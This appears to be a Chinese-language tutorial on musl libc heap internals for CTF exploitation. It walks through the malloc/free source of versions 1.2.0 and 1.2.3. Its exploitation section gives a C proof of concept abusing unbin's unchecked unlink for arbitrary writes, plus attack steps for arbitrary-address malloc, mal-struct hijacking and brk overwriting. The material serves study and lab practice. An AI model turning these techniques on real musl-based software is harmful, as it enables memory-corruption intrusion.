调试环境搭建 debug musl debug_musl 可以源码调试。 运行 setup.sh
将源码及相关动态链接库解压到根目录下 musl
文件夹下,用的时候只需要将对应版本的 libc.so
文件复制到目录下,然后利用 patchelf 运行如下命令修改可执行文件所依赖的 ld 为 libc.so
即可进行源码调试。
1 patchelf --set-interpreter ./libc.so ./pwn
另外该项目中的 build.sh
可以自动下载和编译 musl 到根目录下的 musl
文件夹中,建议在 ubuntu16.04 下编译。
muslheap 还有一个 gdb 插件 muslheap 可以在使用调试版的 libc.so
时打印堆信息。安装命令如下:
1 2 git clone https: echo "source /path/to/muslheap.py" >> ~/.gdbinit
muslheap 插件支持如下命令:
mchunkinfo: Examine a mallocng-allocated memory (slot)
mfindslot: Find out the slot where the given memory is inside
mheapinfo: Display mallocng allocator internal information
mmagic: Display the location of important functions and sensitive variables in musl libc
源码阅读环境搭建 在阅读 musl 代码时可以借助 clion 进行代码分析,不过要想让 clion 正确分析 musl 代码需要进行如下配置:
首先最好将 musl 的源码解压到另一个目录下而不是复用前面调试环境用的源码,因为如果在阅读代码时改变了源码的格式会造成调试的时候代码对应错误。
在用 clion 打开 musl 源码后首先在 Mskefile 设置中配置如下命令,注意一定要点命令窗口左上角的箭头将窗口展开后再粘贴,否则格式会出现错误。
1 2 3 4 5 # !/bin/sh # # which autoreconf >/dev/null && autoreconf --install --force --verbose "${PROJECT_DIR:-..} " 2>&1; /bin/sh "${PROJECT_DIR:-..} /configure"
在构建窗口右键点击重新加载 Makefile 项目。 中间弹出的窗口不选择清理项目即可。 此时 clion 虽然可以分析代码,但是分析的不完全,比如下图中的类型就找不到。 将代码编译一下后就可以正常识别。 此时 clion 已经可以正常分析代码,比如结构体中成员的大小和偏移都可以分析出来。
musl heap (musl-1.2.0) musl libc在内存分配上经历过一次大的改动(1.2.0->1.2.1),其余版本之间变化不大,这里以 1.2.0 版本为例进行分析。
基本数据结构
mal 1 2 3 4 5 static struct { volatile uint64_t binmap; struct bin bins [64]; volatile int free_lock[2 ]; } mal;
mal
结构体类似于 glibc 中的 arena
,记录着堆的状态,有三个成员:64位无符号整数 binmap
,链表头部数组 bins
和锁 free_lock
。
bin 1 2 3 4 5 struct bin { volatile int lock[2 ]; struct chunk *head ; struct chunk *tail ; };
存放空闲 chunk
的双向链表,存放 chunk
从 tail
端放,取 chunk
从 head
端取。bin
中的 head
和 tail
初始为 0 ,但是在使用 bin
时一般会先调用 lock_bin
,此时如果 bin
为空会将 head
和 tail
设为 &bin[i] - 0x10
。
1 2 3 4 5 static inline void lock_bin (int i) { lock(mal.bins[i].lock); if (!mal.bins[i].head) mal.bins[i].head = mal.bins[i].tail = BIN_TO_CHUNK(i); }
chunk 1 2 3 4 struct chunk { size_t psize, csize; struct chunk *next , *prev ; };
chunk
头部结构跟 glibc 差不多,不过没有 nextsize
指针,chunk
之间不重用 psize
字段。psize
和 csize
字段都有标志位(glibc 只有 size
字段有),但只有一种位于最低位的标志位 C_INUSE
(glibc 最低三位都有标志位)。若 csize
设置 C_INUSE
标志位(最低位为 1 ),表示 chunk
正在被使用;若没有设置 C_INUSE
标志位(最低位为 0 ),表示 chunk
已经被释放或者通过 mmap 分配的,需要通过 psize
的标志位来进一步判断 chunk
的状态。若 psize
设置 C_INUSE
标志位表示前一个 chunk
正在被使用。 另外,chunk
的大小关于 0x20 对齐。
宏定义 chunk
的相关宏定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #define SIZE_ALIGN (4*sizeof(size_t)) #define SIZE_MASK (-SIZE_ALIGN) #define OVERHEAD (2*sizeof(size_t)) #define MMAP_THRESHOLD (0x1c00*SIZE_ALIGN) #define DONTCARE 16 #define RECLAIM 163840 #define CHUNK_SIZE(c) ((c)->csize & -2) #define CHUNK_PSIZE(c) ((c)->psize & -2) #define PREV_CHUNK(c) ((struct chunk *)((char *)(c) - CHUNK_PSIZE(c))) #define NEXT_CHUNK(c) ((struct chunk *)((char *)(c) + CHUNK_SIZE(c))) #define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD) #define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD) #define BIN_TO_CHUNK(i) (MEM_TO_CHUNK(&mal.bins[i].head)) #define C_INUSE ((size_t)1) #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
unbin 将 chunk
从 bins
中取出,并更新 binmap
。
1 2 3 4 5 6 7 8 static void unbin (struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL << i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; }
当满足 c->prev != c->next
时可以不将 mal.binmap
清空。
alloc_fwd & alloc_rev 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static int alloc_fwd (struct chunk *c) { int i; size_t k; while (!((k = c->csize) & C_INUSE)) { i = bin_index(k); lock_bin(i); if (c->csize == k) { unbin(c, i); unlock_bin(i); return 1 ; } unlock_bin(i); } return 0 ; } static int alloc_rev (struct chunk *c) { int i; size_t k; while (!((k = c->psize) & C_INUSE)) { i = bin_index(k); lock_bin(i); if (c->psize == k) { unbin(PREV_CHUNK(c), i); unlock_bin(i); return 1 ; } unlock_bin(i); } return 0 ; }
alloc_fwd
通过当前 chunk
的 csize
检查当前 chunk
是否空闲,如果空闲调用 unbin
函数将当前 chunk
从 bins
链表中取出。alloc_rev
通过当前 chunk
的 psize
检查当前 chunk
的前一个 chunk
是否空闲,如果空闲调用 unbin
函数将当前 chunk
的前一个 chunk
从 bins
链表中取出。
函数分析 malloc 首先调用 adjust_size
检查申请内存大小是否合理并将申请的内存大小转换为 chunk
大小,具体转换规则为加 0x10 然后关于 0x20 向上对齐。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static int adjust_size (size_t *n) { if (*n - 1 > PTRDIFF_MAX - SIZE_ALIGN - PAGE_SIZE) { if (*n) { errno = ENOMEM; return -1 ; } else { *n = SIZE_ALIGN; return 0 ; } } *n = (*n + OVERHEAD + SIZE_ALIGN - 1 ) & SIZE_MASK; return 0 ; } if (adjust_size(&n) < 0 ) return 0 ;
如果 chunk
大小超过 MMAP_THRESHOLD
(即 0x38000 )则直接 mmap 分配 chunk
。
1 2 3 4 5 6 7 8 9 10 if (n > MMAP_THRESHOLD) { size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE; char *base = __mmap(0 , len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (base == (void *) -1 ) return 0 ; c = (void *) (base + SIZE_ALIGN - OVERHEAD); c->csize = len - (SIZE_ALIGN - OVERHEAD); c->psize = SIZE_ALIGN - OVERHEAD; return CHUNK_TO_MEM(c); }
mmap 得到的 chunk
结构如下,注意该 chunk
的 psize
和 csize
的 C_INUSE
标志位均没有置位且没有下一个 chunk
。 如果大小不超过 MMAP_THRESHOLD
则先通过 bin_index_up
函数计算 chunk
大小对应的 bin
数组下标 i
。然后通过 mal.binmap
获取下标大于等于 i
的非空 bin
。接下来是两种情况,如果没有则调用 expand_heap
函数扩展堆然后调用 alloc_rev
将新扩展的堆块和前面空闲的堆块合并然后跳出循环,否则调用 first_set
函数获取大于等于 i
的最小下标,然后利用 pretrim
或 unbin
将 chunk
从 bin
链表中取出,最终也会跳出循环。这两种情况最终都会调用 trim
函数,这个函数的作用是从 c
上切下一块 chunk
用于内存分配,剩下的释放掉。
expand_heap 首先将需要扩展的大小 n
加上 SIZE_ALIGN
(0x20),之后调用 __expand_heap
扩展堆并返回扩展后的内存的起始地址。
1 2 3 4 5 6 7 8 9 10 11 12 n += SIZE_ALIGN; lock(heap_lock); p = __expand_heap(&n); if (!p) { unlock(heap_lock); return 0 ; }
如果新扩展的内存的起始地址不等于上一段扩展的内存的结束地址说明内存扩展不连续或者是第一次获取内存,需要在新扩展的 chunk
前面设置一个 sentinel chunk
。
1 2 3 4 5 6 7 8 9 if (p != end) { n -= SIZE_ALIGN; p = (char *) p + SIZE_ALIGN; w = MEM_TO_CHUNK(p); w->psize = 0 | C_INUSE; }
之后设置新扩展的 chunk
和下一个 chunk
的头部信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 end = (char *) p + n; w = MEM_TO_CHUNK(end); w->psize = n | C_INUSE; w->csize = 0 | C_INUSE; w = MEM_TO_CHUNK(p); w->csize = n | C_INUSE; unlock(heap_lock); return w;
这里假设连续调用两次 expand_heap
,则内存分布如下。由此可知道前面 n += SIZE_ALIGN;
是为了确保如果是不连续或第一次扩展堆时有可以有空间提供 sentinel chunk
和下一个 chunk
的头部。
__expand_heap 首先检验扩展的大小 n
是否合理,之后将 n
关于页大小向上对齐。
1 2 3 4 5 if (n > SIZE_MAX / 2 - PAGE_SIZE) { errno = ENOMEM; return 0 ; } n += -n & PAGE_SIZE - 1 ;
如果 heap 段还没有初始化过则通过 brk(0)
系统调用获取 heap 段基址,并将 brk
关于页面大小向上对齐。
1 2 3 4 if (!brk) { brk = __syscall(SYS_brk, 0 ); brk += -brk & PAGE_SIZE - 1 ; }
如果满足 brk
调用条件且 brk
调用正常则直接返回得到的内存。
1 2 3 4 5 6 if (n < SIZE_MAX - brk && !traverses_stack_p(brk, brk + n) && __syscall(SYS_brk, brk + n) == brk + n) { *pn = n; brk += n; return (void *) (brk - n); }
否则调用 mmap 扩展内存,扩展内存的大小为 max(n, PAGE_SIZE << mmap_step / 2)
同时将 mmap_step
加 1 。
1 2 3 4 5 6 7 size_t min = (size_t ) PAGE_SIZE << mmap_step / 2 ;if (n < min) n = min;void *area = __mmap(0 , n, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );if (area == MAP_FAILED) return 0 ;*pn = n; mmap_step++; return area;
pretrim pretrim
函数的作用是如果申请的 chunk
中切下所需的部分剩余部分可以放到该 chunk
所在 bins
中则直接从该 chunk
中切下所需部分返回。如果满足上述条件,这样做可以减少一次 unbin
和 pretrim
从而提高程序效率。
首先这里特判了一些不需要 pretrim
的情况。总的来说就是 chunk
或切完剩下的 chunk
太小的时候不需要 pretrim
。
1 2 3 4 5 6 7 8 if (j < 40 ) return 0 ;if (j < i + 3 ) { if (j != 63 ) return 0 ; n1 = CHUNK_SIZE(self); if (n1 - n <= MMAP_THRESHOLD) return 0 ; } else { n1 = CHUNK_SIZE(self); }
之后判断如果满足 pretrim
的条件就将 self
分裂为 self
和 split
,spit
放到 bins
中原来 self
所在位置,然后把新的 self
返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (bin_index(n1 - n) != j) return 0 ;next = NEXT_CHUNK(self); split = (void *) ((char *) self + n); split->prev = self->prev; split->next = self->next; split->prev->next = split; split->next->prev = split; split->psize = n | C_INUSE; split->csize = n1 - n; next->psize = n1 - n; self->csize = n | C_INUSE; return 1 ;
trim 如果从申请的 chunk
切下所需 chunk
后剩余部分还能构成一个 chunk
就切下所需 chunk
并发剩余部分调用 __bin_chunk
函数释放。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static void trim (struct chunk *self, size_t n) { size_t n1 = CHUNK_SIZE(self); struct chunk *next , *split ; if (n >= n1 - DONTCARE) return ; next = NEXT_CHUNK(self); split = (void *) ((char *) self + n); split->psize = n | C_INUSE; split->csize = n1 - n | C_INUSE; next->psize = n1 - n | C_INUSE; self->csize = n | C_INUSE; __bin_chunk(split); }
free 首先特判传入指针为空的情况。之后判断如果 csize
的 C_INUSE
位为空则通过 psize
找到 mmap 的起始地址 base
和 mmap 的内存长度 len
。之后如果 extra & 1
则终止程序,如果直接 double free 一块非 mmap 的内存就是这个结果。之后调用 __munmap
释放这块内存。如果不是 mmap 得到的 chunk
则调用 __bin_chunk
释放 chunk
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static void unmap_chunk (struct chunk *self) { size_t extra = self->psize; char *base = (char *) self - extra; size_t len = CHUNK_SIZE(self) + extra; if (extra & 1 ) a_crash(); __munmap(base, len); } #define IS_MMAPPED(c) !((c)->csize & (C_INUSE)) void free (void *p) { if (!p) return ; struct chunk *self = MEM_TO_CHUNK(p); if (IS_MMAPPED(self)) unmap_chunk(self); else __bin_chunk(self); }
__bin_chunk 获取 chunk
的大小并初始化 final_size
和 new_size
。
1 final_size = new_size = CHUNK_SIZE(self);
检测 next->psize
和 self->csize
是否相等。
1 2 3 4 struct chunk *next = NEXT_CHUNK(self);... if (next->psize != self->csize) a_crash();
将该 chunk
与前后的空闲 chunk
合并直至满足 self->psize & next->csize & C_INUSE
条件,即该 chunk
前后都没有空闲 chunk
。 期间如果满足 new_size + size > RECLAIM && (new_size + size ^ size) > size
(其中 RECLAIM
为 0x28000)则 reclaim
置 1 ,之后会对释放的 chunk
包含的所有完整物理页调用 madvise
设置 lazyfree
标志,这样在内存紧缺的时候会回收这些物理页。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 for (;;) { if (self->psize & next->csize & C_INUSE) { self->csize = final_size | C_INUSE; next->psize = final_size | C_INUSE; i = bin_index(final_size); lock_bin(i); lock(mal.free_lock); if (self->psize & next->csize & C_INUSE) break ; unlock(mal.free_lock); unlock_bin(i); } if (alloc_rev(self)) { self = PREV_CHUNK(self); size = CHUNK_SIZE(self); final_size += size; if (new_size + size > RECLAIM && (new_size + size ^ size) > size) reclaim = 1 ; } if (alloc_fwd(next)) { size = CHUNK_SIZE(next); final_size += size; if (new_size + size > RECLAIM && (new_size + size ^ size) > size) reclaim = 1 ; next = NEXT_CHUNK(next); } }
之后更新 binmap
以及 chunk
头部各个字段,然后将 chunk
从对应 bins
的 tail
加入到链表中。最后对于 reclaim
为 1 的情况做相应的处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (!(mal.binmap & 1ULL << i)) a_or_64(&mal.binmap, 1ULL << i); self->csize = final_size; next->psize = final_size; unlock(mal.free_lock); self->next = BIN_TO_CHUNK(i); self->prev = mal.bins[i].tail; self->next->prev = self; self->prev->next = self; if (reclaim) { uintptr_t a = (uintptr_t ) self + SIZE_ALIGN + PAGE_SIZE - 1 & -PAGE_SIZE; uintptr_t b = (uintptr_t ) next - SIZE_ALIGN & -PAGE_SIZE; #if 1 __madvise((void *) a, b - a, MADV_DONTNEED); #else __mmap((void *)a, b-a, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1 , 0 ); #endif } unlock_bin(i);
堆利用 unlink musl 采用 unbin
函数从 bins
中取出 chunk
,对应 glibc 中的 unlink
,但是 unbin
中检查不足没有检查链表完整性,可以进行利用实现任意地址写。如果泄露了堆地址还可以写 rop 链进行 ROP 。
1 2 3 4 5 6 7 8 static void unbin (struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL << i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; }
unlink 的作用是可以在两位置写入可读写地址,很多攻击手法都是建立在 unlink 的基础上的。 poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdlib.h> #include <assert.h> #define OVERHEAD (2*sizeof(size_t)) #define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD) #define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD) #define C_INUSE ((size_t)1) struct chunk { size_t psize, csize; struct chunk *next , *prev ; }; struct chunk target ;int main () { struct chunk *fake_chunk = malloc (0x30 ) + 0x10 ; struct chunk *next_chunk = MEM_TO_CHUNK(malloc (0x30 )); fake_chunk->psize |= C_INUSE; fake_chunk->prev = ⌖ fake_chunk->next = ⌖ next_chunk->psize = 0x20 ; free (CHUNK_TO_MEM(next_chunk)); assert(target.prev == target.next && target.prev == &target); return 0 ; }
这个 poc 是通过 chunk
合并来触发的 unlink ,因此需要满足以下条件:
为了 free
函数能够调用 __bin_chunk
需要 next_chunk
的 csize
的 C_INUSE
位置 1 。
为了绕过 if (next->psize != self->csize) a_crash();
检测需要伪造 next_chunk
的 csize
和 next_chunk
的下一个 chunk
的 psize
。
为了使 alloc_rev
调用 unbin
函数将 fake_chunk
解链,满足 next_chunk->psize
的 C_INUSE
位不置位。
任意地址 malloc 以这道题目 为例。
musl heap 在 malloc
时没有检查,因此只要修改释放的 chunk
的 next
指针就可以实现任意地址 malloc
。但是有 3 个地方需要注意。
在 unbin
中判断 bin
为空的条件是
1 2 if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL << i));
为了确保下一次能申请出 chunk
来,需要确保本次申请的 chunk
的 prev
和 next
不同。
由于 unbin
中的解链操作,需要 bins
头指向的 chunk
的 prev
和 next
可写。
1 2 c->prev->next = c->next; c->next->prev = c->prev;
由于 unbin
在完成解链后会修改下一个 chunk
的 psize
的 C_INUSE
位,因此需要 NEXT_CHUNK(c)->psize
可写,通常需要在目标地址往前找一个偏移使得 fake chunk
的 csize
为一个较小的数。
1 NEXT_CHUNK(c)->psize |= C_INUSE;
因此有如下攻击流程:
首先利用一次 unlink 将 fake chunk
的 next
写入可读写地址。依据题目中的具体情况,这里采用 UAF 修改 prev
和 next
的方式来实现 unlink 。另外由于 unlink 和 后续攻击用到的 chunk
大小相同,因此这里将 prev
和 next
分别修改为 &fake_chunk - 8
和 &fake_chunk
来避免之后不能从 bin
中申请 chunk
。
之后再次通过 UAF 修改 next
指针指向 fake chunk
劫持 mal 实现连续任意地址 malloc 以这道题目 为例。
对于同一大小的 chunk
来说,前面任意地址 malloc
的方法只能进行一次,因为经过一次任意地址 malloc
之后 mal
的 bin
的 head
指针已经不可控,因此不能再次任意地址 malloc
。
但是如果劫持 mal
结构体的话就可以连续任意地址 malloc
,不过任意地址 malloc
的前提是 fake chunk
的 csize
, next
和 prev
必须满足前面任意地址 malloc
的条件。由于劫持了 mal
结构体之后不容易 unlink ,因此需要在劫持 mal
结构体之前在需要 malloc
的地址通过 unlink 位置 fake chunk
的 next
和 prev
。另外需要选择目标地址往前一点的偏移使得 csize
合法,之后不停的任意地址 malloc
利用前面的 fake chunk
伪造后面 fake chunk
的头直到把目标地址申请出来。
另外由于部分 chunk
是在程序上的,因此可以通过部分地址覆盖 mal
上的这些程序地址从而绕过 PIE 将 chunk
申请到程序的某些结构上。例如这道题目 。
劫持 brk 控制 malloc 返回值 还是以这道题 为例
当 bins
中没有 chunk
可供分配(即 binmap
为 0 时)会调用 __expand_heap
函数申请一块新的堆空间用于构造 chunk
。因此可以通过任意地址写修改 __expand_heap
的 brk
然后劫持 mal
设置 binmap
为 0 来实现对 malloc
返回值的控制。
获取 brk
在 libc.so
中偏移的方法如下:
musl heap (musl-1.2.3) 基本数据结构 在 meta.h
文件夹中定义了 musl 内存管理相关的结构。
deque musl 内存管理时经常使用双向链表来缓存一些 meta
的结构,我们暂且称它为 deque 。
对应的操作有 queue
,dequeue
,dequeue_head
三个操作。
queue queue
函数的作用是将 *m
插入到 *phead
指向的 deque 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 static inline void queue (struct meta **phead, struct meta *m) { assert(!m->next); assert(!m->prev); if (*phead) { struct meta *head = *phead; m->next = head; m->prev = head->prev; m->next->prev = m->prev->next = m; } else { m->prev = m->next = m; *phead = m; } }
dequeue dequeue
函数的作用是将 *m
从 *phead
指向的 deque 中取出。
1 2 3 4 5 6 7 8 9 10 static inline void dequeue (struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0 ; } m->prev = m->next = 0 ; }
dequeue_head dequeue_head
函数的作用是将 *phead
指向的 meta
结构从 *phead
指向的 deque 中取出。
1 2 3 4 5 static inline struct meta *dequeue_head (struct meta **phead) { struct meta *m = *phead; if (m) dequeue(phead, m); return m; }
malloc_context 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define PAGESIZE 4096 struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head ; struct meta *avail_meta ; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head , *meta_area_tail ; unsigned char *avail_meta_areas; struct meta *active [48]; size_t usage_by_class[48 ]; uint8_t unmap_seq[32 ], bounces[32 ]; uint8_t seq; uintptr_t brk; };
这个结构体是musl libc的堆管理最上层结构,其中字段的含义分别为:
uint64_t secret
:一个随机生成的数,用于检查meta的合法性,也即一个 check guard 。
int init_done
:判断 malloc_context
是否初始化完成,在 alloc_meta
函数中进行检查,如果没有则进行初始化,否则跳过初始化流程,这里的初始化指的是初始化 secret
。
unsigned mmap_counter
:mmap 计数器,通过 mmap 分配了多少次空间用于内存分配。
struct meta *free_meta_head
:被释放的 meta
结构体构成的双向链表表头,meta
结构体是 musl libc 内存分配的低一级结构。
struct meta *avail_meta
:指向空闲的 meta 。
size_t avail_meta_count
:musl 保留但未使用的 meta
的数量。
avail_meta_area_count
:musl 保留但未使用的 meta_area
的数量。
meta_alloc_shift
:当没有空闲 meta_area
且 brk 不能为 meta_arena
申请连续内存时需要采用 mmap 的方式申请 meta_arena
,meta_alloc_shift
用于计算了此时需要扩展的内存大小,这个值是动态调节的。
struct meta_area *meta_area_head, *meta_area_tail
:存放 meta_area
的单向链表,只作记录,没什么实际作用。
unsigned char *avail_meta_areas
:musl 保留但未使用的 meta_area
的起始地址,具体见后面对 alloc_meta
函数的分析。
struct meta *active[48]
:可以直接参与内存分配的 meta
,按照 meta
管理的内存中 chunk
的大小划分为 48 组,每个组由 meta
形成一个 deque 。 48 个组中 chunk
大小以及 malloc
的 size 大小对应关系如下:
sc
chunk size
min size
max size
0
0x10
0x0
0xc
1
0x20
0xd
0x1c
2
0x30
0x1d
0x2c
3
0x40
0x2d
0x3c
4
0x50
0x3d
0x4c
5
0x60
0x4d
0x5c
6
0x70
0x5d
0x6c
7
0x80
0x6d
0x7c
8
0x90
0x7d
0x8c
9
0xa0
0x8d
0x9c
10
0xc0
0x9d
0xbc
11
0xf0
0xbd
0xec
12
0x120
0xed
0x11c
13
0x140
0x11d
0x13c
14
0x190
0x13d
0x18c
15
0x1f0
0x18d
0x1ec
16
0x240
0x1ed
0x23c
17
0x2a0
0x23d
0x29c
18
0x320
0x29d
0x31c
19
0x3f0
0x31d
0x3ec
20
0x480
0x3ed
0x47c
21
0x540
0x47d
0x53c
22
0x660
0x53d
0x65c
23
0x7f0
0x65d
0x7ec
24
0x920
0x7ed
0x91c
25
0xaa0
0x91d
0xa9c
26
0xcc0
0xa9d
0xcbc
27
0xff0
0xcbd
0xfec
28
0x1240
0xfed
0x123c
29
0x1540
0x123d
0x153c
30
0x1990
0x153d
0x198c
31
0x1ff0
0x198d
0x1fec
32
0x2480
0x1fed
0x247c
33
0x2aa0
0x247d
0x2a9c
34
0x3320
0x2a9d
0x331c
35
0x3ff0
0x331d
0x3fec
36
0x4910
0x3fed
0x490c
37
0x5540
0x490d
0x553c
38
0x6650
0x553d
0x664c
39
0x7ff0
0x664d
0x7fec
40
0x9240
0x7fed
0x923c
41
0xaaa0
0x923d
0xaa9c
42
0xccc0
0xaa9d
0xccbc
43
0xfff0
0xccbd
0xffec
44
0x12480
0xffed
0x1247c
45
0x15540
0x1247d
0x1553c
46
0x19980
0x1553d
0x1997c
47
0x1fff0
0x1997d
0x1ffec
size_t usage_by_class[48]
:对应大小的缓存的所有 meta
的 group
所管理的 chunk 个数。
uint8_t unmap_seq[32], bounces[32]
:参与 alloc_group
中计算新分配 group 的大小。
uint8_t seq
:参与 alloc_group
中计算新分配 group 的大小。
uintptr_t brk
:记录目前的 brk(0)
,如果 brk 不能分配连续内存则该值设为 -1 。
malloc_context
被实例化为全局变量 ctx
。
1 2 3 #define ctx __malloc_context __attribute__((__visibility__("hidden" ))) extern struct malloc_context ctx ;
1 2 3 4 5 6 struct meta_area { uint64_t check; struct meta_area *next ; int nslots; struct meta slots []; };
这个结构用于管理一页内的所有 meta
结构,属于 malloc_context
的下级结构,meta
的上级结构。
uint64_t check
:检查字段,与 malloc_context
中的 secret
字段对应,检查该 meta_area
是否可能被修改
struct meta_area *next
:下一个meta_area的地址,与前面 malloc_context
的 struct meta_area *meta_area_head, *meta_area_tail
一起构成单向链表,存放空闲的 meta_area
,正常使用中的 meta_area
该字段为 0 。
int nslots
:该 meta_area
中管理的 meta
数量,一般为固定值。
struct meta slots[]
:管理的 meta
数组
1 2 3 4 5 6 7 8 9 struct meta { struct meta *prev , *next ; struct group *mem ; volatile int avail_mask, freed_mask; uintptr_t last_idx : 5 ; uintptr_t freeable : 1 ; uintptr_t sizeclass : 6 ; uintptr_t maplen : 8 * sizeof (uintptr_t ) - 12 ; };
meta
中保存有 group
结构体指针,后者直接保存有需要分配的内存块。
struct meta *prev, *next
:构成双向链表,即前面的 deque 。
struct group *mem
:meta
管理的 group
结构体指针
volatile int avail_mask, freed_mask
:表示 meta
管理的 group
结构体中每个 chunk 的状态,即是否可被分配和是否已被释放(实际可能没有经过释放的 chunk 也可能 对应 freed_mask
置位,因此叫做未激活更合适)。在 musl heap 中,chunk 有 可分配,释放和在使用三个状态,且每个 chunk 只能处在三个状态中的一种上。并且释放的 chunk 不能立即参与分配,只有参与分配的 chunk 不够时才会通过 try_avail
将处于释放状态的 chunk 转换为处于可分配状态。
uintptr_t last_idx:5
:该 meta
中最后一个 chunk 的索引,也就是该 meta
管理 last_idx + 1
个 chunk 。
freeable:1
:该 meta
中的 chunk
是否能够被释放,这个值一般都是 1 。
uintptr_t sizeclass:6
:管理的 group
的 chunk 大小属于哪一组。是 mmap 分配,则固定为 63 。
uintptr_t maplen:8*sizeof(uintptr_t)-12
:如果管理的 group
是 mmap分配的,则为内存页数,否则为 0 。
以位于 heap 段的 meta_area
为例,内存分布如下图所示,因此 meta
可以通过找所在内存页基址查找到对应的 meta_area
。 与 meta
相关的函数这里先介绍 free_meta
和 alloc_meta
。
get_stride 根据 meta
获取其管理的 group
中 chunk 的大小。
1 2 3 4 5 6 7 static inline size_t get_stride (const struct meta *g) { if (!g->last_idx && g->maplen) { return g->maplen * 4096UL - UNIT; } else { return UNIT * size_classes[g->sizeclass]; } }
释放 meta
实际上就是将 meta
清零后放入 free_meta_head
指向的 deque 中。
1 2 3 4 static inline void free_meta (struct meta *m) { *m = (struct meta){0 }; queue (&ctx.free_meta_head, m); }
首先判断 ctx
是否初始化,没有初始化则初始化 secret
。
1 2 3 4 5 6 7 if (!ctx.init_done) { #ifndef PAGESIZE ctx.pagesize = get_page_size(); #endif ctx.secret = get_random_secret(); ctx.init_done = 1 ; }
之后初始化 pagesize
。
1 2 3 4 5 6 7 8 9 10 #define PAGESIZE 4096 #ifdef PAGESIZE #define PGSZ PAGESIZE #else #define PGSZ ctx.pagesize #endif size_t pagesize = PGSZ; if (pagesize < 4096 ) pagesize = 4096 ;
如果 free_meta_head
不为空则从中取出之前释放的 meta
并返回。
1 if ((m = dequeue_head(&ctx.free_meta_head))) return m;
如果 avail_meta_count
为 0 则获取空闲的 meta
,之后从空闲的 meta
中取出一个返回。
1 2 3 4 5 if (!ctx.avail_meta_count) {...}ctx.avail_meta_count--; m = ctx.avail_meta++; m->prev = m->next = 0 ; return m;
下面介绍如何获取空闲的 meta
。 首先先解释一下用到的两个标志 need_unprotect
和 need_guard
的含义。
need_unprotect
指的是有一块内存,需要用来作为 meta_area
但现在它没有读写权限,因此需要调用 mprotect
给这块内存赋上读写权限。
need_guard
指的是有一块有读写权限的内存,现在从这个内存中某个位置起划定为 meta_area
,但是为了确保 meta_area
的 check
字段不被溢出覆盖,需要将 meta_area
前的内存去掉读写权限。
这里首先将 need_unprotect
置 1 。
之后讨论没有空闲的 meta_area
且 brk 可以分配连续内存的情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (!ctx.avail_meta_area_count && ctx.brk != -1 ) { uintptr_t new = ctx.brk + pagesize; int need_guard = 0 ; if (!ctx.brk) { need_guard = 1 ; ctx.brk = brk(0 ); ctx.brk += -ctx.brk & (pagesize - 1 ); new = ctx.brk + 2 * pagesize; } if (brk(new) != new) { ctx.brk = -1 ; } else { if (need_guard) mmap((void *) ctx.brk, pagesize, PROT_NONE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1 , 0 ); ctx.brk = new; ctx.avail_meta_areas = (void *) (new - pagesize); ctx.avail_meta_area_count = pagesize >> 12 ; need_unprotect = 0 ; } }
这里分两种情况:
如果 brk 第一次调用,即 ctx.brk
为 0 ,则先调用 brk(0)
获取 heap 段基址,然后在页对齐的基础上再分配两个内存页的内存并且 need_guard
置 1 。如果分配内存连续(brk(new) != new
)则由于 need_guard
置 1 需要将前一个内存页去掉读写权限。最后将 need_unprotect
置 0 。
如果 brk 不是第一次调用,即 ctx.brk
不为 0 ,则直接 brk 出一块内存页即可。
如果之后如果还是没有空闲的 meta_area
说明此时 brk 以及不能连续扩展内存,因此需要通过 mmap 申请内存作为空闲的 meta_area
。mmap 的内存大小通过 meta_alloc_shift
计算,并且每次 mmap 之后,下次 mmap 的内存数量翻倍。和 brk 一样,获得的内存中的第一块内存页不能使用,由于 mmap 的内存没有读写权限,因此需要将 ctx.avail_meta_areas
指向的内存页赋上可读写权限。
